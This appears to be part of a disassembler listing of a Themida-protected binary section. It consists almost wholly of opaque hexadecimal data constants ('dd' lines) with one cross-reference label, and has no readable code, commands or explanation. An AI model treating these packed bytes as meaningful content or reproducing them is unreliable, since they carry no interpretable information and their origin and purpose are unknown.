dd 0F668FD81h, 92277D63h, 40BB1566h, 2CBE1A42h, 71321566h
dd 88329869h, 0C13D1566h, 22321566h, 0C2BF9807h, 0E835FFABh
dd 44369269h, 99541566h, 0CAB35099h, 91700FB6h, 4BE3EA07h
dd 223212E5h, 10BA1A66h, 7D321566h, 5F6F90EDh, 0A83D1282h
dd 1132157Fh, 8832018Fh, 0C3EC2866h, 6C4848CAh, 53A164E8h
dd 4006178Ch, 5ED7A5D3h, 0C1BB467Dh, 1136D6E7h, 63B11566h
dd 602E9262h, 6369C3Ah, 0AA547593h, 9ADB32CBh, 17321566h
dd 552ABF37h, 0E8FBE79Ah, 94BA4397h, 879CC961h, 8D5A7461h
dd 9832157Dh, 83D315Ah, 4432156Ah, 2232128Fh, 0F20CE666h
dd 0DC20AE46h, 5FDB90EDh, 77CE1282h, 0D4B3F0EFh, 88321562h
dd 4436F8E7h, 0EB51566h, 15BB4942h, 33547542h, 0B28BE0D5h
dd 43151B4Bh, 0DE2798EBh, 77CA128Ch, 0CD61E0B7h, 0A9E89CA5h
dd 0D5B1317Ah, 9AB61A62h, 24321566h, 2238FC9Ah, 0C84E1566h
dd 0E475B8BCh, 9709ABDCh, 2EB94507h, 15F69642h, 88321B8Fh
dd 5A388566h, 78D49E6Fh, 0F7007413h, 0A3A42E75h, 0A02948EBh
dd 28BA1A61h, 0F8321566h, 88321563h, 7B71D8ECh, 878F9641h
dd 1135F147h, 88E69169h, 0C03D1566h, 2232156Ch, 0C0F49406h
dd 35BBEFDh, 0C1B974B8h, 25D6081Fh, 112F9169h, 60521566h
dd 44321576h, 987A49F5h, 3AB8EB04h, 96F0A4B2h, 91B55897h
dd 0CBB37339h, 3A53860Bh, 6C13B0E3h, 4439FC61h, 0D3D01566h
dd 0FBEEB68Fh, 5853B6BAh, 4BF32E6Bh, 223268E0h, 10B81A66h
dd 74321566h, 58AF90EDh, 0AD3D1282h, 11321574h, 8832188Fh
dd 0D3D11666h, 6C3EDDF3h, 161A71EEh, 6152D03Eh, 4432156Eh
dd 5F8B815Ah, 0AAEDA0F7h, 694409DCh, 0C131741Fh, 25D634C3h
dd 0B0B79C9Ah, 6135F144h, 4432156Bh, 442ECC80h, 97BA8501h
dd 77D4C3B0h, 57B11AF0h, 2D321566h, 113218EEh, 883AFC66h
dd 830D1566h, 7BACA93Ah, 0C0DBA28Ch, 87321567h, 443214ECh
dd 0AB60ED66h, 15F09484h, 9321566h, 4432118Ch, 6269266h
dd 353E9C3Ah, 8832138Fh, 46B6F866h, 708D26D8h, 9060DFEFh
dd 0B5403152h, 716A14EAh, 23BE2814h, 1CB51A3Ch, 0E8321566h
dd 44329E69h, 6D8B1566h, 70163972h, 77CDAB30h, 0B433EA99h
dd 0A9547538h, 0CE851A96h, 8CDE9407h, 0CD321566h, 0EA8C3152h
dd 0D00C2F48h, 7EB31680h, 0BB82842h, 7C88E3E7h, 0DFB365B4h
dd 8A4F0771h, 82B3CB91h, 0ECCF32B8h, 0F86CE56Fh, 8832156Fh
dd 327C87FAh, 0DD7593CDh, 0EE8C4327h, 0A1CDEA99h, 4B524B96h
dd 0AB53DCD1h, 0F52F6CE3h, 8822FC61h, 60311566h, 97B81D0Bh
dd 0C430309Ch, 0F0B87858h, 0C1331F9Ch, 25D634F7h, 0B4B7D29Ah
dd 8835F147h, 24321566h, 2DC8AA69h, 113217E6h, 0E9FD9E66h
dd 2452550Ch, 9A544E31h, 1E539D45h, 6153DAD9h, 44321575h
dd 95119558h, 800409EFh, 958A97DEh, 51A29F13h, 4A570C2Ch
dd 11320566h, 8820FC9Fh, 242A1566h, 5AF8D9A7h, 0D16DA7DCh
dd 6FB8D7C3h, 0F67440D3h, 2235650Eh, 353E9C66h, 88339169h
dd 2EC71566h, 0B7CDE966h, 16D60C17h, 8821FC06h, 0B1EF1566h
dd 0B9AF827Dh, 6E8F194Bh, 0AD930270h, 0D2F53C01h, 24BF1A1Bh
dd 1E321566h, 883215EDh, 0D1CD7466h, 25D60DCBh, 8CB79C9Ah
dd 6135F17Ah, 4432156Ah, 3878EA3h, 778E116Fh, 1909F1E1h
dd 669390EFh, 0A03D1282h, 11321569h, 88321F8Fh, 86A0D66h
dd 2B6F2087h, 9AC2B42Eh, 165316Ah, 40F59481h, 0A3321566h
dd 113211A1h, 0AC0E9266h, 443DFC3Ah, 93001566h, 0BD7C5D96h
dd 451D063Ch, 559E8EF0h, 0A2657542h, 47688D90h, 0E96B4A34h
dd 6693A099h, 0DDCE1282h, 0F52948D3h, 83B71A61h, 0AD321566h
dd 22321560h, 1959A243h, 165E32Eh, 40F59481h, 0A1321566h
dd 2DB51189h, 0B4BB4942h, 4426FC42h, 15301566h, 37B8EE47h
dd 1C52B0C8h, 459022DBh, 0D3AE2CA2h, 0EECE4EE5h, 6C29FCD3h
dd 43B51A61h, 2D321566h, 113214EDh, 0EE52E066h, 4CB4F4E7h
dd 0AF53E1ECh, 0FBD502E3h, 3F3D7561h, 97851AB1h, 42E2EA07h
dd 1053DFEDh, 6C13B0EBh, 0FB3D7561h, 118C739Dh, 0ACB9742Eh
dd 8FD637C7h, 86851A06h, 43C5AA69h, 0A6FA0EDh, 0C3D1282h
dd 44321567h, 2D96E69Fh, 113214E1h, 3CBE966h, 0A02AFCD3h
dd 2234FC61h, 0FE761566h, 5DE4A29Ch, 165AECCBh, 0AB321550h
dd 0BC5A316Ah, 0D17C7C72h, 66DAE4E7h, 0CBF32A3Eh, 0D9C39465h
dd 13C3340h, 0BD6BE928h, 4237D5A7h, 0E9AAB00h, 8832068Fh
dd 9AAA3C66h, 8EB98A12h, 269639C7h, 34770565h, 3C627AB7h
dd 728F4007h, 0E66F963Eh, 0C5EFE2B3h, 0DCBE0E7h, 0CA3364BFh
dd 901639EDh, 883211A2h
dd 443BFC66h, 48F71566h, 0B0A3643Ah, 8BC72C39h, 0A027C8E3h
dd 0AFB9ED61h, 16D637C7h, 88321D8Fh, 98C60166h, 91CDFCE3h
dd 1188471Ah, 89321566h, 0CF389CA4h, 0E6B13172h, 1ECA7562h
dd 883210E1h, 9AE7AD66h, 8F53509Ah, 4A604206h, 8839FC3Eh
dd 0E7DA1566h, 4C2CBCEBh, 7B587650h, 356774CDh, 645A6801h
dd 4DBBAC37h, 0C0C552C3h, 0E8EBF4E7h, 0A5F31F67h, 0E5FB9464h
dd 90556B02h, 61D54B97h, 0B87C9CDEh, 0DE5C143Fh, 10B01A3Bh
dd 7D321566h, 0AD879C93h, 4235F17Eh, 11339B69h, 0E9CA1566h
dd 44321C8Fh, 901FAC66h, 0E5EA12CEh, 70B1A096h, 0D6B71A99h
dd 0DE321566h, 0CCEF2BE7h, 0D3DC8BBh, 443215E3h, 22249369h
dd 1E521566h, 883215E1h, 443BFC66h, 3DA21566h, 0F4003380h
dd 0E9D4AFE2h, 443DA50Eh, 62E9C66h, 113215DDh, 0D32C9C66h
dd 44169269h, 0CB521566h, 11321569h, 2DA1D702h, 0A80F5015h
dd 22F617BCh, 0F8543140h, 8832156Fh, 2E721528h, 19D5252Fh
dd 0AA61742Ch, 88321562h, 6AF1D3E7h, 0FC336002h, 3FF1FBE7h
dd 7D696002h, 5CDBA0EFh, 2ADB1282h, 0FA321566h, 0A36726Ch
dd 0AD509D6Ah, 0DDCDC720h, 12F2D49Fh, 88321C8Fh, 4AB0866h
dd 2DDE752Bh, 9431F9BEh, 8FD600BBh, 0DCF29406h, 0A223FD75h
dd 0F853EC97h, 88321560h, 4A3DE774h, 9FB10854h, 16D60927h
dd 3AB61A67h, 0B8321565h, 88982BE7h, 943DBFCCh, 883215B2h
dd 443F9569h, 2ADB1566h, 18321566h, 82DC9910h, 0C59E3A0Ah
dd 2232118Ah, 35369C66h, 883211DEh, 1CF41466h, 22249F69h
dd 0DB1566h, 0CA321566h, 2BB84F2Bh, 2F420B55h, 3715CE11h
dd 0BEFFDA87h, 124FAD36h, 0F2C5573Eh, 474CAB30h, 7833573Eh
dd 0B8749C38h, 2222FC3Eh, 7ED11566h, 14A2CE14h, 702B0D8h
dd 0FB120456h, 9A3DDB20h, 8832156Eh, 44309F69h, 43521566h
dd 0D603ED57h, 3752ED57h, 2FAD2627h, 0E268A507h, 115A1186h
dd 0A0321566h, 40B83162h, 26F69642h, 3DB624Ah, 0DC321566h
dd 20E257D7h, 6A3CD096h, 204DDB6Ah, 713E3C4Ch, 0CE3D75B8h
dd 22321563h, 58DB9400h, 88857566h, 94E4C2DFh, 0CB537471h
dd 1132155Ah, 88339E69h, 0BDC71566h, 0A96A4236h, 0D5B1315Ah
dd 8EB01A62h, 24321566h, 0ECB94B31h, 0A682E907h, 3E60D598h
dd 1EC235ABh, 0CB527552h, 11321560h, 4AB63885h, 0C5545B95h
dd 43D1EB94h, 14D29C36h, 88321562h, 4432114Bh, 6369266h
dd 35369C3Ah, 258F9693h, 4535F144h, 234C9169h, 1CDB1566h
dd 58321566h, 0E5B0561Ch, 0AEB82C4Ch, 798CFC44h, 8833150Eh
dd 60369E66h, 4236D1E5h, 11339C69h, 87CA1566h, 0C753D2D9h
dd 0C9CA41DBh, 953D1561h, 88321527h, 4432058Fh, 0BA5CFD66h
dd 22C7F08Bh, 200E12DAh, 50B2AC87h, 9CAF98A5h, 0E435FF9Ch
dd 88219169h, 0AC521566h, 22321563h, 0B8AFB88Eh, 93D4FA8h
dd 44321566h, 42E1EA07h, 4027CFE6h, 0D7FDAA69h, 0D40D9507h
dd 226E9169h, 3DB1566h, 54321566h, 0F76682AAh, 6B9DED45h
dd 0E851CE25h, 0D1BDA91Dh, 40DE946Fh, 0AB321566h, 148B316Ah
dd 89321566h, 42DB4CA9h, 0C3321566h, 0A77737F6h, 8823FCB9h
dd 51FF1566h, 826AE903h, 6051C64Eh, 0EF305A48h, 0ADEB1CEAh
dd 223214CBh, 113A9469h, 13D1566h, 44321564h, 0DAB17406h
dd 88B01A36h, 61321566h, 44321561h, 3A1538AAh, 90079B2Ch
dd 8832118Ah, 603E9C66h, 0CBB26ED7h, 48FA9D8Dh, 8832128Fh
dd 7286DA66h, 0C00F3EFFh, 1123FCCCh, 0CC8D1566h, 35FDC05Bh
dd 5E4F4784h, 6B9227h, 360FDC9h, 0CD673162h, 26F79483h
dd 90321566h, 883211A3h, 601E9266h, 0CB98E93Ah, 1132156Ch
dd 0B7AFC6E4h, 52484077h, 2D528342h, 113216E7h, 2C09566h
dd 3A5BAD00h, 22F3FC07h, 9F3D1566h, 88321571h, 44239C69h
dd 2EDB1566h, 0DF321566h, 0A4C13D26h, 6B7E4B18h, 0DE7E126Ah
dd 49162199h, 8836D1E7h, 0B1521566h, 2232048Fh, 0FE59F966h
dd 12CCE75Dh, 0B8E29FD3h, 0D81EBAF3h, 0BB539630h, 8832188Fh
dd 0ED0EC66h, 87E3C786h, 4AB89B7Fh, 0F7B2E6FDh, 0C13DFC99h
dd 22321505h, 458F9693h, 8835FE9Eh, 441B9169h, 0A9521566h
dd 11B51AA4h, 0E9321566h, 0BDA588EBh, 0DDCE128Ch, 1123FCB5h
dd 0F81566h, 22CAE1A6h, 0F1BFE82Dh, 0A6E2190h, 0DB974EFAh
dd 1BBAD6EEh, 62E9E62h, 7136D1E5h, 88349C69h, 0CC3D1566h
dd 22321566h, 0C8DA9400h, 80DB748Bh, 9321566h, 25DB6867h
dd 9A7184E5h, 6C10B4E3h, 4435FC61h, 0A7651566h, 0CA8AA5D4h
dd 0FE0910A0h, 0BC1B6B7Dh, 5409A833h, 0F91B6B7Dh, 8826FC3Bh
dd 0EBD71566h, 0CC108E1Ah, 0ED4CCFA6h, 0B3BA9EEDh, 348C54D3h
dd 0C35AC90Bh, 98321523h, 8C8D315Ah, 6D321566h, 2ADB4A9Eh
dd 0B5321566h, 7E9EFF6Ah, 0EFA8E7B9h, 4352B89Ah, 0EECEAD36h
dd 0E51FEA99h, 45530918h, 5C5F1096h, 11F5747Ah, 88321566h
dd 7EDBEC3Eh, 2DCDEA9Dh, 113212E6h, 57B97566h, 2546C4E6h
dd 3ADBA0EFh, 1E521282h, 883215EFh, 0FBE89566h, 6C3F7D07h
dd 5BB1566h, 885AE942h, 0B13215E6h, 0A252150Ch, 933D23BDh
dd 88321566h, 3987EA07h, 0D735F140h, 0E078099h, 0DB521282h
dd 17FA9400h, 0DD534B3Ch, 90683152h, 883211A2h, 0AFB27566h
dd 0E3851AA1h, 88BF9E07h, 6135F172h, 4432156Fh, 4F1ECD29h
dd 9F758A86h, 8CDE944Eh, 0CD321566h, 828D315Ah, 90433325h
dd 0A77339A1h, 0ABB3522Dh, 9E6791ABh, 0E96D2CEFh, 880B240Eh
dd 602E9C66h, 223211DDh, 4AEB1466h, 11BF9C9Fh, 4B35F172h
dd 223219E4h, 17B81A66h, 87321566h, 443215E1h, 0E431FC66h
dd 1CDBEA99h, 0B9321566h, 0EAD5783Bh, 0CCDDAD32h, 0BF4A0BCDh
dd 88389369h, 24521566h, 22BB1A07h, 70321566h, 8818208Fh
dd 0BD52E066h, 36AB98EDh, 0EECE1282h, 0AC069457h, 6E831F8Bh
dd 0A31619EDh, 113211A2h, 65C39466h, 4B18A46Ch, 22321DE7h
dd 13BE1A66h, 0E8321566h, 4FB21A07h, 42321566h, 90C39E00h
dd 49962788h, 0C9BB7428h, 25D9ED36h, 1139FC06h, 0E0FD1566h
dd 2DCA18C5h, 663B749Ch, 0D2EC9431h, 0E93CAD1Eh, 107C2DE7h
dd 0A73D5922h, 113215E9h, 0F0B3739Ah, 4B1C5962h, 223297E3h
dd 9A62EC66h, 4CB33152h, 44321562h, 223A9C69h, 71521566h
dd 0E7887307h, 0FE607469h, 22321560h, 5B9C367h, 8CF69642h
dd 0EA2EAE06h, 31DB78A8h, 0DC321566h, 0DAF00879h, 53AABDFBh
dd 4FD567C5h, 6DFC5E5Fh, 35367EEh, 0A01040E3h, 3AB21A61h
dd 0F8321566h, 88321575h, 4E0E5CA8h, 58F70164h, 4364BE80h
dd 45668CAFh, 0AD4577BBh, 22321182h, 70524706h, 0BDECAD3Eh
dd 24537A84h, 4111CDE7h, 41531246h, 731611E7h, 1A7B1900h
dd 44C9AF34h, 0C71B5C6Ah, 89BD1A3Ch, 0B8321566h, 0ABF39C37h
dd 353E9EACh, 8736D1E5h, 44321DE2h, 43527566h, 0CB5BAC00h
dd 61FB2407h, 4432156Eh, 7A0801CFh, 1DECB598h, 0B4CAE9CAh
dd 1B61A66h, 2D321567h, 113214E6h, 0A50EE966h, 0BBD49169h
dd 2FDBEA99h, 0E9321566h, 59A293BCh, 0E36A9CBDh, 0E6663FECh
dd 953D3B5Ah, 883215EBh, 44339769h, 1ECB1566h, 0CBB01A56h
dd 7D321562h, 0C23D2C5Ah, 0DDCDEAD2h, 10B21A9Ah, 70321566h
dd 0C63D545Ah, 223211A7h, 0D2B37306h, 9540A84h, 2593AD86h
dd 0A43D4F5Ah, 0EECDEAF6h, 88321C8Fh, 63C30D66h, 11D98F0Ah
dd 4E0EA53Ch, 77489169h
dd 0CE3DEA99h, 2232156Ah, 11349769h, 23D1566h, 44321566h
dd 0A03D745Ah, 1132111Bh, 8748299Eh, 0BBCD42E0h, 223FFC99h
dd 0B7121566h, 8084C16Ch, 5C005E4Bh, 0CB570409h, 1132113Bh
dd 8CCD479Fh, 60269E42h, 2236D1E7h, 1BDB1566h, 3C321566h
dd 1581D7A2h, 0ABB4106Ch, 10B71A3Bh, 71321566h, 0C03DE75Fh
dd 22321157h, 1132198Fh, 9171B266h, 23EFE52Ah, 803275B7h
dd 0EE8A4502h, 89CDEA99h, 24CE4DA4h, 22229C69h, 1ADB1566h
dd 60321566h, 5A9B98C5h, 48512308h, 0CEB9BE0Ch, 0D1654407h
dd 0BDB55239h, 22321D8Fh, 0CD02CD66h, 57DBB087h, 0BAF4FC29h
dd 0A53DEA99h, 11321576h, 88389869h, 41DB1566h, 0B8321566h
dd 0AFDA7EB1h, 0C3DDCE3h, 443216A3h, 22321A8Fh, 617F4566h
dd 0F5F44C24h, 0F9EC02Eh, 0DBE40615h, 1A73A0EBh, 87521282h
dd 443213E7h, 22B81A66h, 0F8321566h, 8832156Fh, 28A5A198h
dd 1EEB534Ch, 436474DCh, 0D6C39C38h, 443A9E69h, 0AF3D1566h
dd 11321564h, 9607406h, 46C3162h, 1EB9110Eh, 15F69642h
dd 0C86CFAE7h, 0F4CA110Eh, 26D2D5D7h, 4054204Ah, 601241D3h
dd 3A064C00h, 2232188Fh, 1AD4CF66h, 74F6EBF2h, 0E919FC6Fh
dd 579CF568h, 0AE54759Bh, 4FB3B934h, 321166D1h, 0A3C7E007h
dd 0A75C368Fh, 0D0DB9446h, 6D25377Dh, 7AF3949Fh, 9025377Dh
dd 3E5C36A7h, 443FFC46h, 3CF41566h, 32867F0Bh, 2C097CADh
dd 24412272h, 4C2FAB00h, 118A4507h, 0A1321566h, 1D6244AEh
dd 0A03D4D3Eh, 1132156Bh, 88321D8Fh, 0F7E2D266h, 0F92C5919h
dd 9A5475DAh, 4B851AACh, 0A1DD9407h, 0B42F90Fh, 0F48F40A9h
dd 8942F90Fh, 4B524889h, 223216E6h, 0E7F39566h, 8823FC07h
dd 0CEDC1566h, 0CF64E9DDh, 0E498745h, 62B0575Dh, 752CFCA4h
dd 13CC2491h, 0B5C1EC91h, 5B8D1A06h, 0CBAC00h, 59864507h
dd 0E768F1E6h, 79FE95BAh, 15C5F9E6h, 6DBAF4EEh, 0ED6A4C99h
dd 837380EBh, 0CFCE1282h
db 0E3h, 20h
word_607F42 dw 0C614h ; DATA XREF: Themida_:00584888o
dd 0E8CE7561h, 87F29007h, 4432BAE3h, 0E4CBED66h, 0F51E38E3h
dd 0D3D5261h, 4432157Fh, 2232018Fh, 90755D66h, 91ED76A7h
dd 0E1EB4446h, 0A30D98F7h, 6E0E3EFh, 2FE07DDBh, 4BC7C1FCh
dd 223201E4h, 1FB11A66h, 61321566h, 4432156Fh, 358FA1EAh
dd 5C6911C8h, 0C987EABFh, 4B35F147h, 22321FE7h, 0A63D7566h
dd 40B373AEh, 4B53175Ch, 223219EDh, 17BE1A66h, 87321566h
dd 443215E5h, 85B79866h, 0F835F2D6h, 88321563h, 3E9F4A13h
dd 0A9547558h, 903D47B1h, 88321566h, 94CD743Fh, 22321A8Fh
dd 0BAA466h, 998E100Eh, 0F7D33772h, 0A2B9B658h, 9F3DE006h
dd 88321565h, 253DCAE6h, 0A3D09C34h, 113211A4h, 8CD89666h
dd 181601E1h, 2D1601EFh, 11321DE4h, 0D3D7566h, 44321566h
dd 42E2EA07h, 11339B69h, 3ECA1566h, 0C1C77413h, 0D3B71AA6h
dd 71321566h, 883C9569h, 4DDB1566h, 0CA321566h, 9DCBEFF7h
dd 0EEB6541Dh, 0CF53DBEDh, 0C629C0E3h, 1DB41A61h, 87321566h
dd 443213E2h, 22B01A66h, 94321566h, 0F1B71AA6h, 0B1321566h
dd 0E1F90A0h, 0F87E1282h, 8832156Bh, 4BE846F6h, 4A163500h
dd 2FB6CCD8h, 94DB7DE8h, 0C03DCCBCh, 22321561h, 0C9B97306h
dd 7753D3EDh, 0A01354D3h, 2226FC61h, 86971566h, 75A09011h
dd 46B81A28h, 147E82F2h, 283F5FA7h, 0DBF884Dh, 43D5A5C1h
dd 22209C69h, 1CDB1566h, 45321566h, 99154D6Fh, 0A9A2D562h
dd 5DE1F639h, 73DC599h, 4432156Eh, 22309569h, 70521566h
dd 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h, 33D3172h
dd 44321567h, 0CBE2EA9Fh, 11321577h, 0AA3AE05Eh, 9C07AF2Bh
dd 2B7830D4h, 60DED719h, 87F290E7h, 443212E3h, 0ACDBEC66h
dd 0E9321566h, 706290EFh, 0CF3D128Dh, 22321567h, 68247D9Eh
dd 8CBB1566h, 48B21A42h, 2D321566h, 113213E1h, 88B81A66h
dd 2C321566h, 22326F8Ah, 711621EFh, 94897306h, 0E7F194C6h
dd 43245EF8h, 11369A69h, 30541566h, 0C953C008h, 0C5F88EE3h
dd 0E8617561h, 58CD743Dh, 4BF21E9Eh, 223231E3h, 1121FC66h
dd 0DA021566h, 490638B5h, 1134B815h, 1A23E861h, 1738869Fh
dd 4421FCA7h, 0A03D1566h, 11321567h, 0AC769C93h, 0C63DE97Ah
dd 22321567h, 0D2CB749Fh, 314DA306h, 3A5EDAD6h, 0A63D7507h
dd 11321577h, 8832198Fh, 5344E66h, 0F073140Fh, 0AF003C6Eh
dd 5B9E985h, 43D9ED36h, 44EC9E06h, 1B21CEE7h, 8834FC07h
dd 0D941566h, 770D54A2h, 90D79C33h, 883211A3h, 40DF9666h
dd 7E1639E1h, 0F81611EFh, 88321572h, 0D2B0E3DFh, 6A173D64h
dd 3F5BF10Bh, 3BBA8691h, 0DA5470F1h, 6069437h, 66025947h
dd 0B1611EDh, 650711A2h, 2D45252Ah, 11321DEBh, 8AB61A66h
dd 24321566h, 1E884707h, 10321566h, 888946A4h, 45321566h
dd 793116B5h, 0AECA753Ch, 0B0E0AC07h, 0CC82EA07h, 0A9321566h
dd 0D5B13172h, 6052E962h, 4432156Dh, 94BFCB25h, 10BA5471h
dd 30E47814h, 64DB9735h, 0E5B9733Eh, 28A79C07h, 0E835F17Eh
dd 2252E4ECh, 61F6E5E7h, 1132068Fh, 0BE3FDC66h, 0D701526h
dd 59803BEh, 0CD4BE8B9h, 158153Eh, 41DB7407h, 3D321566h
dd 0E050CAC0h, 88CAAA31h, 0BC331566h, 0A11629EDh, 0AA5211A2h
dd 0DC129F1Eh, 4435FC07h, 2DCE1566h, 0E218F60Eh, 848946F0h
dd 0C5321566h, 997C258Dh, 90F11460h, 337C25A5h, 1F219E60h
dd 22321F8Fh, 0A3EDA366h, 97423514h, 0CD9C56E0h, 0C63C5CF3h
dd 1126FC61h, 81901566h, 72B77661h, 0CD1282AEh, 0CDAD7AC0h
dd 8EE74FA0h, 70CDA3CDh, 0E6B34D42h, 11321562h, 88339C69h
dd 0BBCB1566h, 7A163112h, 1132078Fh, 0DB498366h, 53B310F1h
dd 0F8202C04h, 13EFB84Eh, 0E8EE753Bh, 0C03D53D5h, 22321566h
dd 5CDF3807h, 5375E77h, 6D1D873Ch, 78BF38AEh, 0FC373AF4h
dd 6179042Bh, 44321577h, 977DC10h, 7DB0B17Fh, 710E5301h
dd 0FE3C1248h, 6BB72E8Eh, 1E35F168h, 883274E4h, 54DB7566h
dd 0B4321566h, 5DADCADFh, 0A80340D8h, 774DD55Fh, 0A2A84C48h
dd 2A538980h, 6C2A2CE3h, 7FB11A61h, 42321566h, 11321A8Fh
dd 53C01366h, 0FBE7B876h, 3612E3B1h, 60E67E45h, 47B97306h
dd 0B1537407h, 2D3211A4h, 113200E9h, 87B01A66h, 0AD321566h
dd 2232156Ch, 0A84D93F5h, 431CA0E0h, 0B853526Ch, 3F1611A1h
dd 90520C13h, 0C63A314Ah, 40B31F81h, 771A2042h, 351E9455h
dd 0B0064E5Bh, 0F21631E7h, 0DD5BC919h, 15B3316Ah, 0FEE47B42h
dd 6016D489h, 61E9462h, 76875B2Bh, 0B51611E7h, 4B5955C1h
dd 22321FE0h, 903D7566h, 88321566h, 0B8534B30h, 261651A1h
dd 18805794h, 8C164191h, 40165199h, 261679A7h, 3576EA62h
dd 0AC5E9462h, 0D3252C62h, 6769452h, 23097D62h, 0E063E943h
dd 71C12C7Fh, 0A1E3E23Fh, 0F8B314A7h, 423ED384h, 0AD6BDDEFh
dd 22321568h, 58D6581Ah, 927549Ch, 0CC0A0CE1h, 0AFBFECD8h
dd 16D65A81h, 88321E8Fh, 0BDC79E66h, 0E18C0733h, 0BCAE60F1h
dd 99DBF499h, 11321566h, 0FC6A611h, 0C423AAD9h, 0E006F7EDh
dd 8C1BDB88h, 9860E906h, 11321566h, 3361E767h, 44321566h
dd 21B8C667h, 2DCB4F3Dh, 0DAB61A8Fh, 0B1321567h, 2DDA2993h
dd 113372E2h, 8834FC66h, 3E961566h, 5A3AEEC9h, 953D1A5Ah
dd 88321536h, 443A9069h, 72521566h, 9B88733Dh, 450E74D2h
dd 45A59169h, 1ECA1566h, 0C4B61A8Dh, 74321567h, 58BD1A07h
dd 42321566h, 2DB1BD6h, 44321566h, 2F187EEFh, 6A96BA3Bh
dd 1B53C894h, 0B7446FD3h, 8753C856h, 0DA8D1A06h, 10B91A07h
dd 70321566h, 4433AC37h, 0CBB31566h, 19250B1h, 49B3E467h
dd 549250B1h, 2D6B0CECh, 113206EBh, 883CFC66h, 0F3451566h
dd 0D3A13BABh, 717D49CEh, 6F90C0F8h, 0CD36F9E5h, 0D2823162h
dd 0F86AD646h, 88321574h, 23C82A86h, 0CB92CA52h, 95A62C6Ah
dd 0F2EE86EDh, 0BFB243D1h, 57B71AE6h, 71CDEA99h, 0B07EECDEh
dd 94851A5Bh, 4F557D07h, 25BB1566h, 33D4E42h, 44321568h
dd 22321C8Fh, 70F39A66h, 25741320h, 14CAAD5Dh, 223213DEh
dd 9AF11466h, 4CB33162h, 44321562h, 223E9269h, 993D1566h
dd 88321560h, 44329069h, 77601566h, 0ED5D62DBh, 8ED7D441h
dd 0C531F0A7h, 602F6083h, 0AFC7944Eh, 9324A02h, 595AA98Bh
dd 7FD89C4Eh, 0B31E767h, 0F0DBED3Ch, 0AD321566h, 2232156Bh
dd 13CEB23Ch, 5EAF1DE0h, 0F2A86CF5h, 9A624760h, 67E97B84h
dd 0ACA30A63h, 1CF09CEFh, 38B9E767h, 0EAB1EC3Ch, 3EB61A9Dh
dd 0BD321566h, 62E9E30h, 1136D1E7h, 0E8CB1566h, 25E19E00h
dd 2236F9E7h, 15BB1566h, 8833AD42h, 0B4331566h, 2D6A0D65h
dd 11321EE5h, 46B37566h, 6AF840B1h, 437CF9E6h, 208F4037h
dd 31045C6Dh, 727B1E52h, 236FFC57h, 0F8CE4CADh, 77CDEBE6h
dd 44321D8Fh, 682CF866h, 0AED363B2h, 0D6841A25h, 4423FC67h
dd 64A31566h, 0BAF61E50h, 953E98EAh, 0CF147447h, 0A16B5C43h
dd 953D3B8Dh, 77CDEB36h, 44321F8Fh, 0FE393B66h, 9E5CFC94h
dd 61B3CABDh, 44321543h, 3DC9506h, 9152749Fh, 948D20BEh
dd 2566CFCAh, 0DC336BE6h, 0EF109069h, 8EDBEA99h, 0DC321566h
dd 0D5854430h, 0EDD6FC94h, 0D952EA99h, 4B6CC5EDh, 223210EFh
dd 0C7BDAD66h, 0E0536A4Dh, 44327034h, 0D71621EFh, 1119D70Eh
dd 0AC3E9C66h, 4F897306h, 223DFC61h, 0F9831566h, 0CC032412h
dd 0BF0519D9h, 0C0C4CC56h
dd 405A7417h, 132157Ch, 0C73D317Ah, 22321569h, 11321F8Fh
dd 89EB2066h, 0F1ADD37h, 75130E89h, 0D6B3F2EFh, 88321562h
dd 4436FAE7h, 1EB51566h, 2DBB4942h, 84DA7542h, 0AD321566h
dd 0D228ADDFh, 654B301Dh, 61FF7976h, 4432156Eh, 12946375h
dd 1DAFDBBCh, 123FAB39h, 755324EAh, 223DFCA6h, 31131566h
dd 4CEF72EFh, 86C18373h, 64C6A33Eh, 43C7B915h, 63D7EEh
dd 1DD99DB3h, 9060EC3Ch, 5BD895E6h, 9C854600h, 1F54EF4Eh
dd 0E8B2D798h, 6AD8952Dh, 8768C646h, 443212E6h, 23B41A66h
dd 0E4321566h, 8742EEE6h, 4437AEE2h, 29DB7566h, 62321566h
dd 54B3BD3Ah, 76A204E6h, 0A9543FD9h, 1E0E7491h, 888F9169h
dd 78CB1566h, 32B61A8Fh, 1E32156Dh, 88320BE4h, 0FB3D7566h
dd 2226FC95h, 687C1566h, 0F129B229h, 0E41745B4h, 0F2E4DDD9h
dd 0FB58F64Eh, 0B453719Ch, 0BEB61A8Dh, 0CB321568h, 1132156Ch
dd 5A75D608h, 86D0D478h, 0C10EF5D7h, 126B9169h, 0B4CA1566h
dd 24B61A84h, 42321576h, 0EE53E7EDh, 0B6D3152h, 0BBC711A2h
dd 0A1693152h, 0EEC711A2h, 96B3152h, 443211A2h, 2237FC66h
dd 83E21566h, 61AC777Ch, 44321574h, 0A7CAFC82h, 3A0D829Bh
dd 0AA0070CDh, 0E0829BB9h, 16B9B9CDh, 0F3BB4742h, 8836D7E7h
dd 86B11566h, 6269262h, 9D3DE93Ah, 88321562h, 25C69F06h
dd 9D3D75A5h, 0C9B37395h, 4F531E43h, 0AFCB35E3h, 22321361h
dd 18B41A66h, 0E8321566h, 709928DDh, 431DA018h, 1132AC37h
dd 49B31566h, 1FB62918h, 0CBB3E467h, 4AB62918h, 716B0CECh
dd 0C4D1A037h, 0E7CC4C93h, 3107D0E6h, 8EDB4C8Dh, 5C321566h
dd 8D43E732h, 91C9952Eh, 777B9069h, 4FDBEA99h, 0ED321566h
dd 857EE83Eh, 0AC0EB6EFh, 0C33D3B32h, 2232157Fh, 1122FC06h
dd 0FE21566h, 563C3A58h, 2E68026Fh, 7B0C5DA6h, 0D6600A41h
dd 0BB8D4207h, 23CDEA99h, 9ACA4A98h, 6C1158E3h, 443BFC61h
dd 13101566h, 0B50E36F1h, 8716D7E1h, 44321DE8h, 20BF1A66h
dd 71321566h, 0EDA79E07h, 0BD35F173h, 223B1E0Eh, 35069C66h
dd 852ED3Dh, 2252B3BCh, 5F4AD3E7h, 70C5A269h, 35674707h
dd 5C0C14F5h, 6F34F0A7h, 8A75D0E7h, 62BBE519h, 1EE1143Bh
dd 0C0DC9406h, 1E04C7EEh, 883215E3h, 0FE607466h, 22321564h
dd 35FBD7E7h, 7A336F77h, 60FBFFE7h, 38316F77h, 1CDB753Ch
dd 66321566h, 2D7D4EF8h, 69FE65B1h, 7D057235h, 0E989D6E6h
dd 0C63DCD5Dh, 2232156Ch, 1EE82E9Eh, 77CC7FE0h, 0AFB3E999h
